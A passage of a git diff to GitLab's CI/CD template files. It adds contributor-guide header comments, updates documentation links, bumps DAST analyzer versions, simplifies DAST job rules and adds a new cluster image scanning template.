index 886b6c36249..8e15570fd1a 100644
--- a/lib/gitlab/ci/templates/Pages/JBake.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/JBake.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/JBake.gitlab-ci.yml
+
# This template uses the java:8 docker image because there isn't any
# official JBake image at this moment
#
diff --git a/lib/gitlab/ci/templates/Pages/Jekyll.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/Jekyll.gitlab-ci.yml
index 01e063c50ad..e0ad2e55f7d 100644
--- a/lib/gitlab/ci/templates/Pages/Jekyll.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/Jekyll.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/Jekyll.gitlab-ci.yml
+
# Template project: https://gitlab.com/pages/jekyll
# Docs: https://docs.gitlab.com/ee/pages/
image: ruby:2.6
diff --git a/lib/gitlab/ci/templates/Pages/Jigsaw.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/Jigsaw.gitlab-ci.yml
index e39aa8a2063..26fac92d0dc 100644
--- a/lib/gitlab/ci/templates/Pages/Jigsaw.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/Jigsaw.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/Jigsaw.gitlab-ci.yml
+
# Jigsaw is a simple static sites generator with Laravel's Blade.
#
# Full project: https://github.com/tightenco/jigsaw
diff --git a/lib/gitlab/ci/templates/Pages/Lektor.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/Lektor.gitlab-ci.yml
index 13d3089f4fa..9b5c1198c6c 100644
--- a/lib/gitlab/ci/templates/Pages/Lektor.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/Lektor.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/Lektor.gitlab-ci.yml
+
# Full project: https://gitlab.com/pages/hyde
image: python:2.7
diff --git a/lib/gitlab/ci/templates/Pages/Metalsmith.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/Metalsmith.gitlab-ci.yml
index e65cf3928f2..d97f0b7beb7 100644
--- a/lib/gitlab/ci/templates/Pages/Metalsmith.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/Metalsmith.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/Metalsmith.gitlab-ci.yml
+
# Full project: https://gitlab.com/pages/metalsmith
image: node:4.2.2
diff --git a/lib/gitlab/ci/templates/Pages/Middleman.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/Middleman.gitlab-ci.yml
index 377fd8c396e..17ce0ef3659 100644
--- a/lib/gitlab/ci/templates/Pages/Middleman.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/Middleman.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/Middleman.gitlab-ci.yml
+
# Full project: https://gitlab.com/pages/middleman
image: ruby:2.6
diff --git a/lib/gitlab/ci/templates/Pages/Nanoc.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/Nanoc.gitlab-ci.yml
index 89281b41b66..a3ce96da244 100644
--- a/lib/gitlab/ci/templates/Pages/Nanoc.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/Nanoc.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/Nanoc.gitlab-ci.yml
+
# Full project: https://gitlab.com/pages/nanoc
image: ruby:2.6
diff --git a/lib/gitlab/ci/templates/Pages/Octopress.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/Octopress.gitlab-ci.yml
index 8fd4702b90d..4abdf66a21c 100644
--- a/lib/gitlab/ci/templates/Pages/Octopress.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/Octopress.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/Octopress.gitlab-ci.yml
+
# Full project: https://gitlab.com/pages/octopress
image: ruby:2.6
diff --git a/lib/gitlab/ci/templates/Pages/Pelican.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/Pelican.gitlab-ci.yml
index 09c6649fc13..7d52a407848 100644
--- a/lib/gitlab/ci/templates/Pages/Pelican.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/Pelican.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/Pelican.gitlab-ci.yml
+
# Full project: https://gitlab.com/pages/pelican
image: python:2.7-alpine
diff --git a/lib/gitlab/ci/templates/Pages/SwaggerUI.gitlab-ci.yml b/lib/gitlab/ci/templates/Pages/SwaggerUI.gitlab-ci.yml
index 9fa8b07f7cb..961941ac4d0 100644
--- a/lib/gitlab/ci/templates/Pages/SwaggerUI.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Pages/SwaggerUI.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Pages/SwaggerUI.gitlab-ci.yml
+
image: node:10-alpine
# specify the location of the Open API Specification files within your project
diff --git a/lib/gitlab/ci/templates/Python.gitlab-ci.yml b/lib/gitlab/ci/templates/Python.gitlab-ci.yml
index abce887d45b..aec41c137a4 100644
--- a/lib/gitlab/ci/templates/Python.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Python.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Python.gitlab-ci.yml
+
# Official language image. Look for the different tagged releases at:
# https://hub.docker.com/r/library/python/tags/
image: python:latest
diff --git a/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml b/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml
index 1bdaaeede43..490fc779e17 100644
--- a/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml
+
# Official language image. Look for the different tagged releases at:
# https://hub.docker.com/r/library/ruby/tags/
image: ruby:latest
diff --git a/lib/gitlab/ci/templates/Rust.gitlab-ci.yml b/lib/gitlab/ci/templates/Rust.gitlab-ci.yml
index 94117a79d1c..869c1782352 100644
--- a/lib/gitlab/ci/templates/Rust.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Rust.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Rust.gitlab-ci.yml
+
# Official language image. Look for the different tagged releases at:
# https://hub.docker.com/r/library/rust/tags/
image: "rust:latest"
diff --git a/lib/gitlab/ci/templates/Scala.gitlab-ci.yml b/lib/gitlab/ci/templates/Scala.gitlab-ci.yml
index e081e20564a..ff8f9601189 100644
--- a/lib/gitlab/ci/templates/Scala.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Scala.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Scala.gitlab-ci.yml
+
# Official OpenJDK Java image. Look for the different tagged releases at
# https://hub.docker.com/_/openjdk/ . A Java image is not required
# but an image with a JVM speeds up the build a bit.
diff --git a/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml
index 0c4c39cbcd6..009061ce844 100644
--- a/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml
@@ -1,6 +1,11 @@
-# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/api_fuzzing/
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml
-# Configure API fuzzing with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/api_fuzzing/
+#
+# Configure API fuzzing with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/index.html).
# List of available variables: https://docs.gitlab.com/ee/user/application_security/api_fuzzing/#available-cicd-variables
variables:
diff --git a/lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml
index 0c4c39cbcd6..ceeefa8aea6 100644
--- a/lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/API-Fuzzing.latest.gitlab-ci.yml
@@ -1,6 +1,11 @@
-# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/api_fuzzing/
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.lastest.gitlab-ci.yml
-# Configure API fuzzing with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/api_fuzzing/
+#
+# Configure API fuzzing with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/index.html).
# List of available variables: https://docs.gitlab.com/ee/user/application_security/api_fuzzing/#available-cicd-variables
variables:
diff --git a/lib/gitlab/ci/templates/Security/Cluster-Image-Scanning.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Cluster-Image-Scanning.gitlab-ci.yml
new file mode 100644
index 00000000000..f4f066cc7c2
--- /dev/null
+++ b/lib/gitlab/ci/templates/Security/Cluster-Image-Scanning.gitlab-ci.yml
@@ -0,0 +1,34 @@
+# Use this template to enable cluster image scanning in your project.
+# You should add this template to an existing `.gitlab-ci.yml` file by using the `include:`
+# keyword.
+# The template should work without modifications but you can customize the template settings if
+# needed: https://docs.gitlab.com/ee/user/application_security/cluster_image_scanning/#customize-the-container-scanning-settings
+#
+# Requirements:
+# - A `test` stage to be present in the pipeline.
+# - You must define the `CIS_KUBECONFIG` variable to allow analyzer to connect to your Kubernetes cluster and fetch found vulnerabilities.
+#
+# Configure container scanning with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# List of available variables: https://docs.gitlab.com/ee/user/application_security/cluster_image_scanning/#available-variables
+
+variables:
+ CIS_ANALYZER_IMAGE: registry.gitlab.com/gitlab-org/security-products/analyzers/cluster-image-scanning:0
+
+cluster_image_scanning:
+ image: "$CIS_ANALYZER_IMAGE"
+ stage: test
+ allow_failure: true
+ artifacts:
+ reports:
+ cluster_image_scanning: gl-cluster-image-scanning-report.json
+ paths: [gl-cluster-image-scanning-report.json]
+ dependencies: []
+ script:
+ - /analyzer run
+ rules:
+ - if: $CLUSTER_IMAGE_SCANNING_DISABLED
+ when: never
+ - if: '($KUBECONFIG == null || $KUBECONFIG == "") && ($CIS_KUBECONFIG == null || $CIS_KUBECONFIG == "")'
+ when: never
+ - if: $CI_COMMIT_BRANCH &&
+ $GITLAB_FEATURES =~ /\bcluster_image_scanning\b/
diff --git a/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml
index bd163f9db94..89e6743b0e4 100644
--- a/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml
+
# Use this template to enable container scanning in your project.
# You should add this template to an existing `.gitlab-ci.yml` file by using the `include:`
# keyword.
@@ -13,7 +18,7 @@
# - For auto-remediation, a readable Dockerfile in the root of the project or as defined by the
# DOCKERFILE_PATH variable.
#
-# Configure container scanning with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# Configure container scanning with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/index.html).
# List of available variables: https://docs.gitlab.com/ee/user/application_security/container_scanning/#available-variables
variables:
diff --git a/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml
index 2dbfb80b419..7243f240eed 100644
--- a/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml
@@ -1,6 +1,11 @@
-# Read more about this feature https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml
-# Configure coverage fuzzing with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# Read more about this feature https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing
+#
+# Configure coverage fuzzing with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/index.html).
# List of available variables: https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/#available-cicd-variables
variables:
diff --git a/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml
index 9170e943e9d..a2933085d4e 100644
--- a/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Dast-API.gitlab-ci.yml
+
# To use this template, add the following to your .gitlab-ci.yml file:
#
# include:
@@ -13,7 +18,7 @@
# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/dast_api/index.html
-# Configure DAST API scanning with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# Configure DAST API scanning with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/index.html).
# List of available variables: https://docs.gitlab.com/ee/user/application_security/dast_api/index.html#available-cicd-variables
variables:
diff --git a/lib/gitlab/ci/templates/Security/DAST-On-Demand-Scan.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/DAST-On-Demand-Scan.gitlab-ci.yml
index a0564a16c07..3e7ab9b5c3b 100644
--- a/lib/gitlab/ci/templates/Security/DAST-On-Demand-Scan.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/DAST-On-Demand-Scan.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST-On-Demand-Scan.gitlab-ci.yml
+
stages:
- build
- test
@@ -5,7 +10,7 @@ stages:
- dast
variables:
- DAST_VERSION: 1
+ DAST_VERSION: 2
# Setting this variable will affect all Security templates
# (SAST, Dependency Scanning, ...)
SECURE_ANALYZERS_PREFIX: "registry.gitlab.com/gitlab-org/security-products/analyzers"
diff --git a/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml
index 5521a4a781b..0802868d67f 100644
--- a/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml
+
# To use this template, add the following to your .gitlab-ci.yml file:
#
# include:
@@ -10,10 +15,10 @@
# - test
# - deploy
# - dast
-
+#
# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/dast/
-
-# Configure DAST with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+#
+# Configure DAST with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/index.html).
# List of available variables: https://docs.gitlab.com/ee/user/application_security/dast/#available-variables
variables:
@@ -43,15 +48,10 @@ dast:
$CI_DEFAULT_BRANCH == $CI_COMMIT_REF_NAME
when: never
- if: $CI_DEFAULT_BRANCH != $CI_COMMIT_REF_NAME &&
- $REVIEW_DISABLED && $DAST_WEBSITE == null &&
- $DAST_API_SPECIFICATION == null
+ $REVIEW_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$CI_KUBERNETES_ACTIVE &&
$GITLAB_FEATURES =~ /\bdast\b/
- if: $CI_COMMIT_BRANCH &&
- $GITLAB_FEATURES =~ /\bdast\b/ &&
- $DAST_WEBSITE
- - if: $CI_COMMIT_BRANCH &&
- $GITLAB_FEATURES =~ /\bdast\b/ &&
- $DAST_API_SPECIFICATION
+ $GITLAB_FEATURES =~ /\bdast\b/
diff --git a/lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml
index e936364c86c..ac7d87a4cda 100644
--- a/lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/DAST.latest.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST.lastest.gitlab-ci.yml
+
# To use this template, add the following to your .gitlab-ci.yml file:
#
# include:
@@ -13,7 +18,7 @@
# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/dast/
-# Configure DAST with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# Configure DAST with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/index.html).
# List of available variables: https://docs.gitlab.com/ee/user/application_security/dast/#available-variables
variables:
diff --git a/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml
index 8df5ce79fe8..aa7b394a13c 100644
--- a/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml
@@ -1,6 +1,11 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml
+
# Read more about this feature here: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/
#
-# Configure dependency scanning with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# Configure dependency scanning with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/index.html).
# List of available variables: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/index.html#available-variables
variables:
diff --git a/lib/gitlab/ci/templates/Security/License-Scanning.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/License-Scanning.gitlab-ci.yml
index 870684c9f1d..1249b8d6fdc 100644
--- a/lib/gitlab/ci/templates/Security/License-Scanning.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/License-Scanning.gitlab-ci.yml
@@ -1,6 +1,11 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/License-Scanning.gitlab-ci.yml
+
# Read more about this feature here: https://docs.gitlab.com/ee/user/compliance/license_compliance/index.html
#
-# Configure license scanning with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/README.html).
+# Configure license scanning with CI/CD variables (https://docs.gitlab.com/ee/ci/variables/index.html).
# List of available variables: https://docs.gitlab.com/ee/user/compliance/license_compliance/#available-variables
variables:
diff --git a/lib/gitlab/ci/templates/Security/Secure-Binaries.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Secure-Binaries.gitlab-ci.yml
index d410c49b9a4..e30777d8401 100644
--- a/lib/gitlab/ci/templates/Security/Secure-Binaries.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/Secure-Binaries.gitlab-ci.yml
@@ -1,16 +1,18 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Secure-Binaries.gitlab-ci.yml
+
# This template should be used when Security Products (https://about.gitlab.com/handbook/engineering/development/secure/#security-products)
# have to be downloaded and stored locally.
#
# Usage:
#
-# ```
-# include:
-# - template: Secure-Binaries.gitlab-ci.yml
-# ```
+# include:
+# - template: Secure-Binaries.gitlab-ci.yml
#
# Docs: https://docs.gitlab.com/ee/topics/airgap/
-
variables:
SECURE_BINARIES_ANALYZERS: >-
bandit, brakeman, gosec, spotbugs, flawfinder, phpcs-security-audit, security-code-scan, nodejs-scan, eslint, secrets, sobelow, pmd-apex, kubesec, semgrep,
@@ -222,7 +224,7 @@ license-finder:
dast:
extends: .download_images
variables:
- SECURE_BINARIES_ANALYZER_VERSION: "1"
+ SECURE_BINARIES_ANALYZER_VERSION: "2"
only:
variables:
- $SECURE_BINARIES_DOWNLOAD_IMAGES == "true" &&
diff --git a/lib/gitlab/ci/templates/Serverless.gitlab-ci.yml b/lib/gitlab/ci/templates/Serverless.gitlab-ci.yml
index 280e75d46f5..55648437191 100644
--- a/lib/gitlab/ci/templates/Serverless.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Serverless.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Serverless.gitlab-ci.yml
+
# GitLab Serverless template
image: alpine:latest
diff --git a/lib/gitlab/ci/templates/Swift.gitlab-ci.yml b/lib/gitlab/ci/templates/Swift.gitlab-ci.yml
index cca0ba5d38e..eedb3b7a310 100644
--- a/lib/gitlab/ci/templates/Swift.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Swift.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Swift.gitlab-ci.yml
+
# Lifted from: https://about.gitlab.com/2016/03/10/setting-up-gitlab-ci-for-ios-projects/
# This file assumes an own GitLab CI runner, setup on a macOS system.
stages:
diff --git a/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml b/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml
index 62b32d7c2db..272b980b4b2 100644
--- a/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml
+
include:
- template: Terraform/Base.latest.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Terraform/Base.latest.gitlab-ci.yml
diff --git a/lib/gitlab/ci/templates/Terraform.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/Terraform.latest.gitlab-ci.yml
index 5963d7138c5..d34a847f2d5 100644
--- a/lib/gitlab/ci/templates/Terraform.latest.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Terraform.latest.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.latest.gitlab-ci.yml
+
include:
- template: Terraform/Base.latest.gitlab-ci.yml # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Terraform/Base.latest.gitlab-ci.yml
diff --git a/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml b/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml
index e8a99a6ea06..22c40d8a8b8 100644
--- a/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml
+
# Read more about the feature here: https://docs.gitlab.com/ee/user/project/merge_requests/accessibility_testing.html
stages:
diff --git a/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml b/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml
index f0621165f8a..e0df9799917 100644
--- a/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml
+
# Read more about the feature here: https://docs.gitlab.com/ee/user/project/merge_requests/browser_performance_testing.html
stages:
diff --git a/lib/gitlab/ci/templates/Verify/Browser-Performance.latest.gitlab-ci.yml b/lib/gitlab/ci/templates/Verify/Browser-Performance.latest.gitlab-ci.yml
index f0621165f8a..ad24ebae8d4 100644
--- a/lib/gitlab/ci/templates/Verify/Browser-Performance.latest.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Verify/Browser-Performance.latest.gitlab-ci.yml
@@ -1,3 +1,8 @@
